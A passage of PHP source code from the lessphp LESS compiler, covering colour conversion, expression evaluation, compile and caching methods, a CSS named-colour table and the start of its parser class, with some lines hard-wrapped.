        $S = $color[2] / 100;
        $L = $color[3] / 100;

        if ($S == 0) {
            $r = $g = $b = $L;
        } else {
            $temp2 = $L < 0.5 ?
                $L * (1.0 + $S) :
                $L + $S - $L * $S;

            $temp1 = 2.0 * $L - $temp2;

            $r = $this->toRGB_helper($H + 1/3, $temp1, $temp2);
            $g = $this->toRGB_helper($H, $temp1, $temp2);
            $b = $this->toRGB_helper($H - 1/3, $temp1, $temp2);
        }

        // $out = array('color', round($r*255), round($g*255),
round($b*255));
        $out = array('color', $r*255, $g*255, $b*255);
        if (count($color) > 4) {
            // copy alpha
            $out[] = $color[4];
        }
        return $out;
    }

    protected function clamp($v, $max = 1, $min = 0) {
        return min($max, max($min, $v));
    }

    /**
     * Convert the rgb, rgba, hsl color literals of function type
     * as returned by the parser into values of color type.
     */
    protected function funcToColor($func) {
        $fname = $func[1];
        if ($func[2][0] != 'list') {
            // need a list of arguments
            return false;
        }
        $rawComponents = $func[2][2];

        if ($fname == 'hsl' || $fname == 'hsla') {
            $hsl = array('hsl');
            $i = 0;
            foreach ($rawComponents as $c) {
                $val = $this->reduce($c);
                $val = isset($val[1]) ? floatval($val[1]) : 0;

                if ($i == 0) {
                    $clamp = 360;
                } elseif ($i < 3) {
                    $clamp = 100;
                } else {
                    $clamp = 1;
                }

                $hsl[] = $this->clamp($val, $clamp);
                $i++;
            }

            while (count($hsl) < 4) {
                $hsl[] = 0;
            }
            return $this->toRGB($hsl);

        } elseif ($fname == 'rgb' || $fname == 'rgba')
{
            $components = array();
            $i = 1;
            foreach ($rawComponents as $c) {
                $c = $this->reduce($c);
                if ($i < 4) {
                    if ($c[0] == "number" && $c[2] ==
"%") {
                        $components[] = 255 * ($c[1] / 100);
                    } else {
                        $components[] = floatval($c[1]);
                    }
                } elseif ($i == 4) {
                    if ($c[0] == "number" && $c[2] ==
"%") {
                        $components[] = 1.0 * ($c[1] / 100);
                    } else {
                        $components[] = floatval($c[1]);
                    }
                } else break;

                $i++;
            }
            while (count($components) < 3) {
                $components[] = 0;
            }
            array_unshift($components, 'color');
            return $this->fixColor($components);
        }

        return false;
    }

    protected function reduce($value, $forExpression = false) {
        switch ($value[0]) {
        case "interpolate":
            $reduced = $this->reduce($value[1]);
            $var = $this->compileValue($reduced);
            $res = $this->reduce(array("variable",
$this->vPrefix . $var));

            if ($res[0] == "raw_color") {
                $res = $this->coerceColor($res);
            }

            if (empty($value[2])) $res = $this->lib_e($res);

            return $res;
        case "variable":
            $key = $value[1];
            if (is_array($key)) {
                $key = $this->reduce($key);
                $key = $this->vPrefix .
$this->compileValue($this->lib_e($key));
            }

            $seen =& $this->env->seenNames;

            if (!empty($seen[$key])) {
                $this->throwError("infinite loop detected:
$key");
            }

            $seen[$key] = true;
            $out = $this->reduce($this->get($key));
            $seen[$key] = false;
            return $out;
        case "list":
            foreach ($value[2] as &$item) {
                $item = $this->reduce($item, $forExpression);
            }
            return $value;
        case "expression":
            return $this->evaluate($value);
        case "string":
            foreach ($value[2] as &$part) {
                if (is_array($part)) {
                    $strip = $part[0] == "variable";
                    $part = $this->reduce($part);
                    if ($strip) $part = $this->lib_e($part);
                }
            }
            return $value;
        case "escape":
            list(,$inner) = $value;
            return $this->lib_e($this->reduce($inner));
        case "function":
            $color = $this->funcToColor($value);
            if ($color) return $color;

            list(, $name, $args) = $value;
            if ($name == "%") $name = "_sprintf";

            $f = isset($this->libFunctions[$name]) ?
                $this->libFunctions[$name] : array($this,
'lib_'.str_replace('-', '_', $name));

            if (is_callable($f)) {
                if ($args[0] == 'list')
                    $args = self::compressList($args[2], $args[1]);

                $ret = call_user_func($f, $this->reduce($args, true),
$this);

                if (is_null($ret)) {
                    return array("string", "", array(
                        $name, "(", $args, ")"
                    ));
                }

                // convert to a typed value if the result is a php
primitive
                if (is_numeric($ret)) {
                    $ret = array('number', $ret, "");
                } elseif (!is_array($ret)) {
                    $ret = array('keyword', $ret);
                }

                return $ret;
            }

            // plain function, reduce args
            $value[2] = $this->reduce($value[2]);
            return $value;
        case "unary":
            list(, $op, $exp) = $value;
            $exp = $this->reduce($exp);

            if ($exp[0] == "number") {
                switch ($op) {
                case "+":
                    return $exp;
                case "-":
                    $exp[1] *= -1;
                    return $exp;
                }
            }
            return array("string", "", array($op,
$exp));
        }

        if ($forExpression) {
            switch ($value[0]) {
            case "keyword":
                if ($color = $this->coerceColor($value)) {
                    return $color;
                }
                break;
            case "raw_color":
                return $this->coerceColor($value);
            }
        }

        return $value;
    }


    // coerce a value for use in color operation
    protected function coerceColor($value) {
        switch ($value[0]) {
            case 'color': return $value;
            case 'raw_color':
                $c = array("color", 0, 0, 0);
                $colorStr = substr($value[1], 1);
                $num = hexdec($colorStr);
                $width = strlen($colorStr) == 3 ? 16 : 256;

                for ($i = 3; $i > 0; $i--) { // 3 2 1
                    $t = $num % $width;
                    $num /= $width;

                    $c[$i] = $t * (256/$width) + $t * floor(16/$width);
                }

                return $c;
            case 'keyword':
                $name = $value[1];
                if (isset(self::$cssColors[$name])) {
                    $rgba = explode(',',
self::$cssColors[$name]);

                    if (isset($rgba[3])) {
                        return array('color', $rgba[0], $rgba[1],
$rgba[2], $rgba[3]);
                    }
                    return array('color', $rgba[0], $rgba[1],
$rgba[2]);
                }
                return null;
        }
    }

    // make something string like into a string
    protected function coerceString($value) {
        switch ($value[0]) {
        case "string":
            return $value;
        case "keyword":
            return array("string", "",
array($value[1]));
        }
        return null;
    }

    // turn list of length 1 into value type
    protected function flattenList($value) {
        if ($value[0] == "list" && count($value[2]) == 1)
{
            return $this->flattenList($value[2][0]);
        }
        return $value;
    }

    public function toBool($a) {
        return $a ? self::$TRUE : self::$FALSE;
    }

    // evaluate an expression
    protected function evaluate($exp) {
        list(, $op, $left, $right, $whiteBefore, $whiteAfter) = $exp;

        $left = $this->reduce($left, true);
        $right = $this->reduce($right, true);

        if ($leftColor = $this->coerceColor($left)) {
            $left = $leftColor;
        }

        if ($rightColor = $this->coerceColor($right)) {
            $right = $rightColor;
        }

        $ltype = $left[0];
        $rtype = $right[0];

        // operators that work on all types
        if ($op == "and") {
            return $this->toBool($left == self::$TRUE && $right
== self::$TRUE);
        }

        if ($op == "=") {
            return $this->toBool($this->eq($left, $right) );
        }

        if ($op == "+" && !is_null($str =
$this->stringConcatenate($left, $right))) {
            return $str;
        }

        // type based operators
        $fname = "op_${ltype}_${rtype}";
        if (is_callable(array($this, $fname))) {
            $out = $this->$fname($op, $left, $right);
            if (!is_null($out)) return $out;
        }

        // make the expression look it did before being parsed
        $paddedOp = $op;
        if ($whiteBefore) {
            $paddedOp = " " . $paddedOp;
        }
        if ($whiteAfter) {
            $paddedOp .= " ";
        }

        return array("string", "", array($left,
$paddedOp, $right));
    }

    protected function stringConcatenate($left, $right) {
        if ($strLeft = $this->coerceString($left)) {
            if ($right[0] == "string") {
                $right[1] = "";
            }
            $strLeft[2][] = $right;
            return $strLeft;
        }

        if ($strRight = $this->coerceString($right)) {
            array_unshift($strRight[2], $left);
            return $strRight;
        }
    }


    // make sure a color's components don't go out of bounds
    protected function fixColor($c) {
        foreach (range(1, 3) as $i) {
            if ($c[$i] < 0) $c[$i] = 0;
            if ($c[$i] > 255) $c[$i] = 255;
        }

        return $c;
    }

    protected function op_number_color($op, $lft, $rgt) {
        if ($op == '+' || $op == '*') {
            return $this->op_color_number($op, $rgt, $lft);
        }
    }

    protected function op_color_number($op, $lft, $rgt) {
        if ($rgt[0] == '%') $rgt[1] /= 100;

        return $this->op_color_color($op, $lft,
            array_fill(1, count($lft) - 1, $rgt[1]));
    }

    protected function op_color_color($op, $left, $right) {
        $out = array('color');
        $max = count($left) > count($right) ? count($left) :
count($right);
        foreach (range(1, $max - 1) as $i) {
            $lval = isset($left[$i]) ? $left[$i] : 0;
            $rval = isset($right[$i]) ? $right[$i] : 0;
            switch ($op) {
            case '+':
                $out[] = $lval + $rval;
                break;
            case '-':
                $out[] = $lval - $rval;
                break;
            case '*':
                $out[] = $lval * $rval;
                break;
            case '%':
                $out[] = $lval % $rval;
                break;
            case '/':
                if ($rval == 0) {
                    $this->throwError("evaluate error: can't
divide by zero");
                }
                $out[] = $lval / $rval;
                break;
            default:
                $this->throwError('evaluate error: color op number
failed on op '.$op);
            }
        }
        return $this->fixColor($out);
    }

    public function lib_red($color){
        $color = $this->coerceColor($color);
        if (is_null($color)) {
            $this->throwError('color expected for red()');
        }

        return $color[1];
    }

    public function lib_green($color){
        $color = $this->coerceColor($color);
        if (is_null($color)) {
            $this->throwError('color expected for green()');
        }

        return $color[2];
    }

    public function lib_blue($color){
        $color = $this->coerceColor($color);
        if (is_null($color)) {
            $this->throwError('color expected for blue()');
        }

        return $color[3];
    }


    // operator on two numbers
    protected function op_number_number($op, $left, $right) {
        $unit = empty($left[2]) ? $right[2] : $left[2];

        $value = 0;
        switch ($op) {
        case '+':
            $value = $left[1] + $right[1];
            break;
        case '*':
            $value = $left[1] * $right[1];
            break;
        case '-':
            $value = $left[1] - $right[1];
            break;
        case '%':
            $value = $left[1] % $right[1];
            break;
        case '/':
            if ($right[1] == 0) $this->throwError('parse error:
divide by zero');
            $value = $left[1] / $right[1];
            break;
        case '<':
            return $this->toBool($left[1] < $right[1]);
        case '>':
            return $this->toBool($left[1] > $right[1]);
        case '>=':
            return $this->toBool($left[1] >= $right[1]);
        case '=<':
            return $this->toBool($left[1] <= $right[1]);
        default:
            $this->throwError('parse error: unknown number
operator: '.$op);
        }

        return array("number", $value, $unit);
    }


    /* environment functions */

    protected function makeOutputBlock($type, $selectors = null) {
        $b = new stdclass;
        $b->lines = array();
        $b->children = array();
        $b->selectors = $selectors;
        $b->type = $type;
        $b->parent = $this->scope;
        return $b;
    }

    // the state of execution
    protected function pushEnv($block = null) {
        $e = new stdclass;
        $e->parent = $this->env;
        $e->store = array();
        $e->block = $block;

        $this->env = $e;
        return $e;
    }

    // pop something off the stack
    protected function popEnv() {
        $old = $this->env;
        $this->env = $this->env->parent;
        return $old;
    }

    // set something in the current env
    protected function set($name, $value) {
        $this->env->store[$name] = $value;
    }


    // get the highest occurrence entry for a name
    protected function get($name) {
        $current = $this->env;

        $isArguments = $name == $this->vPrefix . 'arguments';
        while ($current) {
            if ($isArguments && isset($current->arguments)) {
                return array('list', ' ',
$current->arguments);
            }

            if (isset($current->store[$name])) {
                return $current->store[$name];
            }

            $current = isset($current->storeParent) ?
                $current->storeParent :
                $current->parent;
        }

        $this->throwError("variable $name is undefined");
    }

    // inject array of unparsed strings into environment as variables
    protected function injectVariables($args) {
        $this->pushEnv();
        $parser = new lessc_parser($this, __METHOD__);
        foreach ($args as $name => $strValue) {
            if ($name[0] !== '@') {
                $name = '@' . $name;
            }
            $parser->count = 0;
            $parser->buffer = (string)$strValue;
            if (!$parser->propertyValue($value)) {
                throw new Exception("failed to parse passed in
variable $name: $strValue");
            }

            $this->set($name, $value);
        }
    }

    /**
     * Initialize any static state, can initialize parser for a file
     * $opts isn't used yet
     */
    public function __construct($fname = null) {
        if ($fname !== null) {
            // used for deprecated parse method
            $this->_parseFile = $fname;
        }
    }

    public function compile($string, $name = null) {
        $locale = setlocale(LC_NUMERIC, 0);
        setlocale(LC_NUMERIC, "C");

        $this->parser = $this->makeParser($name);
        $root = $this->parser->parse($string);

        $this->env = null;
        $this->scope = null;

        $this->formatter = $this->newFormatter();

        if (!empty($this->registeredVars)) {
            $this->injectVariables($this->registeredVars);
        }

        $this->sourceParser = $this->parser; // used for error
messages
        $this->compileBlock($root);

        ob_start();
        $this->formatter->block($this->scope);
        $out = ob_get_clean();
        setlocale(LC_NUMERIC, $locale);
        return $out;
    }

    public function compileFile($fname, $outFname = null) {
        if (!is_readable($fname)) {
            throw new Exception('load error: failed to find
'.$fname);
        }

        $pi = pathinfo($fname);

        $oldImport = $this->importDir;

        $this->importDir = (array)$this->importDir;
        $this->importDir[] = $pi['dirname'].'/';

        $this->addParsedFile($fname);

        $out = $this->compile(file_get_contents($fname), $fname);

        $this->importDir = $oldImport;

        if ($outFname !== null) {
            return file_put_contents($outFname, $out);
        }

        return $out;
    }

    // compile only if changed input has changed or output doesn't
exist
    public function checkedCompile($in, $out) {
        if (!is_file($out) || filemtime($in) > filemtime($out)) {
            $this->compileFile($in, $out);
            return true;
        }
        return false;
    }

    /**
     * Execute lessphp on a .less file or a lessphp cache structure
     *
     * The lessphp cache structure contains information about a specific
     * less file having been parsed. It can be used as a hint for future
     * calls to determine whether or not a rebuild is required.
     *
     * The cache structure contains two important keys that may be used
     * externally:
     *
     * compiled: The final compiled CSS
     * updated: The time (in seconds) the CSS was last compiled
     *
     * The cache structure is a plain-ol' PHP associative array and
can
     * be serialized and unserialized without a hitch.
     *
     * @param mixed $in Input
     * @param bool $force Force rebuild?
     * @return array lessphp cache structure
     */
    public function cachedCompile($in, $force = false) {
        // assume no root
        $root = null;

        if (is_string($in)) {
            $root = $in;
        } elseif (is_array($in) && isset($in['root'])) {
            if ($force || !isset($in['files'])) {
                // If we are forcing a recompile or if for some reason the
                // structure does not contain any file information we
should
                // specify the root to trigger a rebuild.
                $root = $in['root'];
            } elseif (isset($in['files']) &&
is_array($in['files'])) {
                foreach ($in['files'] as $fname => $ftime) {
                    if (!file_exists($fname) || filemtime($fname) >
$ftime) {
                        // One of the files we knew about previously has
changed
                        // so we should look at our incoming root again.
                        $root = $in['root'];
                        break;
                    }
                }
            }
        } else {
            // TODO: Throw an exception? We got neither a string nor
something
            // that looks like a compatible lessphp cache structure.
            return null;
        }

        if ($root !== null) {
            // If we have a root value which means we should rebuild.
            $out = array();
            $out['root'] = $root;
            $out['compiled'] = $this->compileFile($root);
            $out['files'] = $this->allParsedFiles();
            $out['updated'] = time();
            return $out;
        } else {
            // No changes, pass back the structure
            // we were given initially.
            return $in;
        }

    }

    // parse and compile buffer
    // This is deprecated
    public function parse($str = null, $initialVariables = null) {
        if (is_array($str)) {
            $initialVariables = $str;
            $str = null;
        }

        $oldVars = $this->registeredVars;
        if ($initialVariables !== null) {
            $this->setVariables($initialVariables);
        }

        if ($str == null) {
            if (empty($this->_parseFile)) {
                throw new exception("nothing to parse");
            }

            $out = $this->compileFile($this->_parseFile);
        } else {
            $out = $this->compile($str);
        }

        $this->registeredVars = $oldVars;
        return $out;
    }

    protected function makeParser($name) {
        $parser = new lessc_parser($this, $name);
        $parser->writeComments = $this->preserveComments;

        return $parser;
    }

    public function setFormatter($name) {
        $this->formatterName = $name;
    }

    protected function newFormatter() {
        $className = "lessc_formatter_lessjs";
        if (!empty($this->formatterName)) {
            if (!is_string($this->formatterName))
                return $this->formatterName;
            $className =
"lessc_formatter_$this->formatterName";
        }

        return new $className;
    }

    public function setPreserveComments($preserve) {
        $this->preserveComments = $preserve;
    }

    public function registerFunction($name, $func) {
        $this->libFunctions[$name] = $func;
    }

    public function unregisterFunction($name) {
        unset($this->libFunctions[$name]);
    }

    public function setVariables($variables) {
        $this->registeredVars = array_merge($this->registeredVars,
$variables);
    }

    public function unsetVariable($name) {
        unset($this->registeredVars[$name]);
    }

    public function setImportDir($dirs) {
        $this->importDir = (array)$dirs;
    }

    public function addImportDir($dir) {
        $this->importDir = (array)$this->importDir;
        $this->importDir[] = $dir;
    }

    public function allParsedFiles() {
        return $this->allParsedFiles;
    }

    public function addParsedFile($file) {
        $this->allParsedFiles[realpath($file)] = filemtime($file);
    }

    /**
     * Uses the current value of $this->count to show line and line
number
     */
    public function throwError($msg = null) {
        if ($this->sourceLoc >= 0) {
            $this->sourceParser->throwError($msg,
$this->sourceLoc);
        }
        throw new exception($msg);
    }

    // compile file $in to file $out if $in is newer than $out
    // returns true when it compiles, false otherwise
    public static function ccompile($in, $out, $less = null) {
        if ($less === null) {
            $less = new self;
        }
        return $less->checkedCompile($in, $out);
    }

    public static function cexecute($in, $force = false, $less = null) {
        if ($less === null) {
            $less = new self;
        }
        return $less->cachedCompile($in, $force);
    }

    protected static $cssColors = array(
        'aliceblue' => '240,248,255',
        'antiquewhite' => '250,235,215',
        'aqua' => '0,255,255',
        'aquamarine' => '127,255,212',
        'azure' => '240,255,255',
        'beige' => '245,245,220',
        'bisque' => '255,228,196',
        'black' => '0,0,0',
        'blanchedalmond' => '255,235,205',
        'blue' => '0,0,255',
        'blueviolet' => '138,43,226',
        'brown' => '165,42,42',
        'burlywood' => '222,184,135',
        'cadetblue' => '95,158,160',
        'chartreuse' => '127,255,0',
        'chocolate' => '210,105,30',
        'coral' => '255,127,80',
        'cornflowerblue' => '100,149,237',
        'cornsilk' => '255,248,220',
        'crimson' => '220,20,60',
        'cyan' => '0,255,255',
        'darkblue' => '0,0,139',
        'darkcyan' => '0,139,139',
        'darkgoldenrod' => '184,134,11',
        'darkgray' => '169,169,169',
        'darkgreen' => '0,100,0',
        'darkgrey' => '169,169,169',
        'darkkhaki' => '189,183,107',
        'darkmagenta' => '139,0,139',
        'darkolivegreen' => '85,107,47',
        'darkorange' => '255,140,0',
        'darkorchid' => '153,50,204',
        'darkred' => '139,0,0',
        'darksalmon' => '233,150,122',
        'darkseagreen' => '143,188,143',
        'darkslateblue' => '72,61,139',
        'darkslategray' => '47,79,79',
        'darkslategrey' => '47,79,79',
        'darkturquoise' => '0,206,209',
        'darkviolet' => '148,0,211',
        'deeppink' => '255,20,147',
        'deepskyblue' => '0,191,255',
        'dimgray' => '105,105,105',
        'dimgrey' => '105,105,105',
        'dodgerblue' => '30,144,255',
        'firebrick' => '178,34,34',
        'floralwhite' => '255,250,240',
        'forestgreen' => '34,139,34',
        'fuchsia' => '255,0,255',
        'gainsboro' => '220,220,220',
        'ghostwhite' => '248,248,255',
        'gold' => '255,215,0',
        'goldenrod' => '218,165,32',
        'gray' => '128,128,128',
        'green' => '0,128,0',
        'greenyellow' => '173,255,47',
        'grey' => '128,128,128',
        'honeydew' => '240,255,240',
        'hotpink' => '255,105,180',
        'indianred' => '205,92,92',
        'indigo' => '75,0,130',
        'ivory' => '255,255,240',
        'khaki' => '240,230,140',
        'lavender' => '230,230,250',
        'lavenderblush' => '255,240,245',
        'lawngreen' => '124,252,0',
        'lemonchiffon' => '255,250,205',
        'lightblue' => '173,216,230',
        'lightcoral' => '240,128,128',
        'lightcyan' => '224,255,255',
        'lightgoldenrodyellow' => '250,250,210',
        'lightgray' => '211,211,211',
        'lightgreen' => '144,238,144',
        'lightgrey' => '211,211,211',
        'lightpink' => '255,182,193',
        'lightsalmon' => '255,160,122',
        'lightseagreen' => '32,178,170',
        'lightskyblue' => '135,206,250',
        'lightslategray' => '119,136,153',
        'lightslategrey' => '119,136,153',
        'lightsteelblue' => '176,196,222',
        'lightyellow' => '255,255,224',
        'lime' => '0,255,0',
        'limegreen' => '50,205,50',
        'linen' => '250,240,230',
        'magenta' => '255,0,255',
        'maroon' => '128,0,0',
        'mediumaquamarine' => '102,205,170',
        'mediumblue' => '0,0,205',
        'mediumorchid' => '186,85,211',
        'mediumpurple' => '147,112,219',
        'mediumseagreen' => '60,179,113',
        'mediumslateblue' => '123,104,238',
        'mediumspringgreen' => '0,250,154',
        'mediumturquoise' => '72,209,204',
        'mediumvioletred' => '199,21,133',
        'midnightblue' => '25,25,112',
        'mintcream' => '245,255,250',
        'mistyrose' => '255,228,225',
        'moccasin' => '255,228,181',
        'navajowhite' => '255,222,173',
        'navy' => '0,0,128',
        'oldlace' => '253,245,230',
        'olive' => '128,128,0',
        'olivedrab' => '107,142,35',
        'orange' => '255,165,0',
        'orangered' => '255,69,0',
        'orchid' => '218,112,214',
        'palegoldenrod' => '238,232,170',
        'palegreen' => '152,251,152',
        'paleturquoise' => '175,238,238',
        'palevioletred' => '219,112,147',
        'papayawhip' => '255,239,213',
        'peachpuff' => '255,218,185',
        'peru' => '205,133,63',
        'pink' => '255,192,203',
        'plum' => '221,160,221',
        'powderblue' => '176,224,230',
        'purple' => '128,0,128',
        'red' => '255,0,0',
        'rosybrown' => '188,143,143',
        'royalblue' => '65,105,225',
        'saddlebrown' => '139,69,19',
        'salmon' => '250,128,114',
        'sandybrown' => '244,164,96',
        'seagreen' => '46,139,87',
        'seashell' => '255,245,238',
        'sienna' => '160,82,45',
        'silver' => '192,192,192',
        'skyblue' => '135,206,235',
        'slateblue' => '106,90,205',
        'slategray' => '112,128,144',
        'slategrey' => '112,128,144',
        'snow' => '255,250,250',
        'springgreen' => '0,255,127',
        'steelblue' => '70,130,180',
        'tan' => '210,180,140',
        'teal' => '0,128,128',
        'thistle' => '216,191,216',
        'tomato' => '255,99,71',
        'transparent' => '0,0,0,0',
        'turquoise' => '64,224,208',
        'violet' => '238,130,238',
        'wheat' => '245,222,179',
        'white' => '255,255,255',
        'whitesmoke' => '245,245,245',
        'yellow' => '255,255,0',
        'yellowgreen' => '154,205,50'
    );
}

// responsible for taking a string of LESS code and converting it into a
// syntax tree
class lessc_parser {
    protected static $nextBlockId = 0; // used to uniquely identify blocks

    protected static $precedence = array(
        '=<' => 0,
        '>=' => 0,
        '=' => 0,
        '<' => 0,
        '>' => 0,

        '+' => 1,
        '-' => 1,
        '*' => 2,
        '/' => 2,
        '%' => 2,
    );

    protected static $whitePattern;
    protected static $commentMulti;

    protected static $commentSingle = "//";
    protected static $commentMultiLeft = "/*";
    protected static $commentMultiRight = "*/";

    // regex string to match any of the operators
    protected static $operatorString;

    // these properties will supress division unless it's inside
parenthases
    protected static $supressDivisionProps =
        array('/border-radius$/i', '/^font$/i');

    protected $blockDirectives = array("font-face",
"keyframes", "page", "-moz-document",
"viewport", "-moz-viewport", "-o-viewport",
"-ms-viewport");
    protected $lineDirectives = array("charset");

    /**
     * if we are in parens we can be more liberal with whitespace around
     * operators because it must evaluate to a single value and thus is
less
     * ambiguous.
     *
     * Consider:
     *     property1: 10 -5; // is two numbers, 10 and -5
     *     property2: (10 -5); // should evaluate to 5
     */
    protected $inParens = false;

    // caches preg escaped literals
    protected static $literalCache = array();

    public function __construct($lessc, $sourceName = null) {
        $this->eatWhiteDefault = true;
        // reference to less needed for vPrefix, mPrefix, and
parentSelector
        $this->lessc = $lessc;

        $this->sourceName = $sourceName; // name used for error messages

        $this->writeComments = false;

        if (!self::$operatorString) {
            self::$operatorString =
                '('.implode('|',
array_map(array('lessc', 'preg_quote'),
                    array_keys(self::$precedence))).')';

            $commentSingle = lessc::preg_quote(self::$commentSingle);
            $commentMultiLeft = lessc::preg_quote(self::$commentMultiLeft);
            $commentMultiRight =
lessc::preg_quote(self::$commentMultiRight);

            self::$commentMulti =
$commentMultiLeft.'.*?'.$commentMultiRight;
            self::$whitePattern =
'/'.$commentSingle.'[^\n]*\s*|('.self::$commentMulti.')\s*|\s+/Ais';
        }
    }

    public function parse($buffer) {
        $this->count = 0;
        $this->line = 1;

        $this->env = null; // block stack
        $this->buffer = $this->writeComments ? $buffer :
$this->removeComments($buffer);
        $this->pushSpecialBlock("root");
        $this->eatWhiteDefault = true;
        $this->seenComments = array();

        // trim whitespace on head
        // if (preg_match('/^\s+/', $this->buffer, $m)) {
        //  $this->line += substr_count($m[0], "\n");
        //  $this->buffer = ltrim($this->buffer);
        // }
        $this->whitespace();

        // parse the entire file
        while (false !== $this->parseChunk());

        if ($this->count != strlen($this->buffer))
            $this->throwError();

        // TODO report where the block was opened
        if ( !property_exists($this->env, 'parent') ||
!is_null($this->env->parent) )
            throw new exception('parse error: unclosed block');

        return $this->env;
    }

    /**
     * Parse a single chunk off the head of the buffer and append it to the
     * current parse environment.
     * Returns false when the buffer is empty, or when there is an error.
     *
     * This function is called repeatedly until the entire document is
     * parsed.
     *
     * This parser is most similar to a recursive descent parser. Single
     * functions represent discrete grammatical rules for the language, and
     * they are able to capture the text that represents those rules.
     *
     * Consider the function lessc::keyword(). (all parse functions are
     * structured the same)
     *
     * The function takes a single reference argument. When calling the
     * function it will attempt to match a keyword on the head of the
buffer.
     * If it is successful, it will place the keyword in the referenced
     * argument, advance the position in the buffer, and return true. If it
     * fails then it won't advance the buffer and it will return
false.
     *
     * All of these parse functions are powered by lessc::match(), which
behaves
     * the same way, but takes a literal regular expression. Sometimes it
is
     * more convenient to use match instead of creating a new function.
     *
     * Because of the format of the functions, to parse an entire string of
     * grammatical rules, you can chain them together using &&.
     *
     * But, if some of the rules in the chain succeed before one fails,
then
     * the buffer position will be left at an invalid state. In order to
     * avoid this, lessc::seek() is used to remember and set buffer
positions.
     *
     * Before parsing a chain, use $s = $this->seek() to remember the
current
     * position into $s. Then if a chain fails, use $this->seek($s) to
     * go back where we started.
     */
    protected function parseChunk() {
        if (empty($this->buffer)) return false;
        $s = $this->seek();

        if ($this->whitespace()) {
            return true;
        }

        // setting a property
        if ($this->keyword($key) && $this->assign()
&&
            $this->propertyValue($value, $key) &&
$this->end()
        ) {
            $this->append(array('assign', $key, $value), $s);
            return true;
        } else {
            $this->seek($s);
        }


        // look for special css blocks
        if ($this->literal('@', false)) {
            $this->count--;

            // media
            if ($this->literal('@media')) {
                if (($this->mediaQueryList($mediaQueries) || true)
                    && $this->literal('{')
                ) {
                    $media = $this->pushSpecialBlock("media");
                    $media->queries = is_null($mediaQueries) ? array() :
$mediaQueries;
                    return true;
                } else {
                    $this->seek($s);
                    return false;
                }
            }

            if ($this->literal("@", false) &&
$this->keyword($dirName)) {
                if ($this->isDirective($dirName,
$this->blockDirectives)) {
                    if (($this->openString("{", $dirValue,
null, array(";")) || true) &&
                        $this->literal("{")
                    ) {
                        $dir =
$this->pushSpecialBlock("directive");
                        $dir->name = $dirName;
                        if (isset($dirValue)) $dir->value = $dirValue;
                        return true;
                    }
                } elseif ($this->isDirective($dirName,
$this->lineDirectives)) {
                    if ($this->propertyValue($dirValue) &&
$this->end()) {
                        $this->append(array("directive",
$dirName, $dirValue));
                        return true;
                    }
                }
            }

            $this->seek($s);
        }

        // setting a variable
        if ($this->variable($var) && $this->assign()
&&
            $this->propertyValue($value) && $this->end()
        ) {
            $this->append(array('assign', $var, $value), $s);
            return true;
        } else {
            $this->seek($s);
        }

        if ($this->import($importValue)) {
            $this->append($importValue, $s);
            return true;
        }

        // opening parametric mixin
        if ($this->tag($tag, true) &&
$this->argumentDef($args, $isVararg) &&
            ($this->guards($guards) || true) &&
            $this->literal('{')
        ) {
            $block = $this->pushBlock($this->fixTags(array($tag)));
            $block->args = $args;
            $block->isVararg = $isVararg;
            if (!empty($guards)) $block->guards = $guards;
            return true;
        } else {
            $this->seek($s);
        }

        // opening a simple block
        if ($this->tags($tags) &&
$this->literal('{', false)) {
            $tags = $this->fixTags($tags);
            $this->pushBlock($tags);
            return true;
        } else {
            $this->seek($s);
        }

        // closing a block
        if ($this->literal('}', false)) {
            try {
                $block = $this->pop();
            } catch (exception $e) {
                $this->seek($s);
                $this->throwError($e->getMessage());
            }

            $hidden = false;
            if (is_null($block->type)) {
                $hidden = true;
                if (!isset($block->args)) {
                    foreach ($block->tags as $tag) {
                        if (!is_string($tag) || $tag[0] !=
$this->lessc->mPrefix) {
                            $hidden = false;
                            break;
                        }
                    }
                }

                foreach ($block->tags as $tag) {
                    if (is_string($tag)) {
                        $this->env->children[$tag][] = $block;
                    }
                }
            }

            if (!$hidden) {
                $this->append(array('block', $block), $s);
            }

            // this is done here so comments aren't bundled into he
block that
            // was just closed
            $this->whitespace();
            return true;
        }

        // mixin
        if ($this->mixinTags($tags) &&
            ($this->argumentDef($argv, $isVararg) || true) &&
            ($this->keyword($suffix) || true) && $this->end()
        ) {
            $tags = $this->fixTags($tags);
            $this->append(array('mixin', $tags, $argv,
$suffix), $s);
            return true;
        } else {
            $this->seek($s);
        }

        // spare ;
        if ($this->literal(';')) return true;

        return false; // got nothing, throw error
    }

    protected function isDirective($dirname, $directives) {
        // TODO: cache pattern in parser
        $pattern = implode("|",
            array_map(array("lessc", "preg_quote"),
$directives));
        $pattern = '/^(-[a-z-]+-)?(' . $pattern .
')$/i';

        return preg_match($pattern, $dirname);
    }

    protected function fixTags($tags) {
        // move @ tags out of variable namespace
        foreach ($tags as &$tag) {
            if ($tag[0] == $this->lessc->vPrefix)
                $tag[0] = $this->lessc->mPrefix;
        }
        return $tags;
    }

    // a list of expressions
    protected function expressionList(&$exps) {
        $values = array();

        while ($this->expression($exp)) {
            $values[] = $exp;
        }

        if (count($values) == 0) return false;

        $exps = lessc::compressList($values, ' ');
        return true;
    }

    /**
     * Attempt to consume an expression.
     * @link
http://en.wikipedia.org/wiki/Operator-precedence_parser#Pseudo-code
     */
    protected function expression(&$out) {
        if ($this->value($lhs)) {
            $out = $this->expHelper($lhs, 0);

            // look for / shorthand
            if (!empty($this->env->supressedDivision)) {
                unset($this->env->supressedDivision);
                $s = $this->seek();
                if ($this->literal("/") &&
$this->value($rhs)) {
                    $out = array("list", "",
                        array($out, array("keyword",
"/"), $rhs));
                } else {
                    $this->seek($s);
                }
            }

            return true;
        }
        return false;
    }

    /**
     * recursively parse infix equation with $lhs at precedence $minP
     */
    protected function expHelper($lhs, $minP) {
        $this->inExp = true;
        $ss = $this->seek();

        while (true) {
            $whiteBefore = isset($this->buffer[$this->count - 1])
&&
                ctype_space($this->buffer[$this->count - 1]);

            // If there is whitespace before the operator, then we require
            // whitespace after the operator for it to be an expression
            $needWhite = $whiteBefore && !$this->inParens;

            if ($this->match(self::$operatorString.($needWhite ?
'\s' : ''), $m) && self::$precedence[$m[1]]
>= $minP) {
                if (!$this->inParens &&
isset($this->env->currentProperty) && $m[1] == "/"
&& empty($this->env->supressedDivision)) {
                    foreach (self::$supressDivisionProps as $pattern) {
                        if (preg_match($pattern,
$this->env->currentProperty)) {
                            $this->env->supressedDivision = true;
                            break 2;
                        }
                    }
                }


                $whiteAfter = isset($this->buffer[$this->count - 1])
&&
                    ctype_space($this->buffer[$this->count - 1]);

                if (!$this->value($rhs)) break;

                // peek for next operator to see what to do with rhs
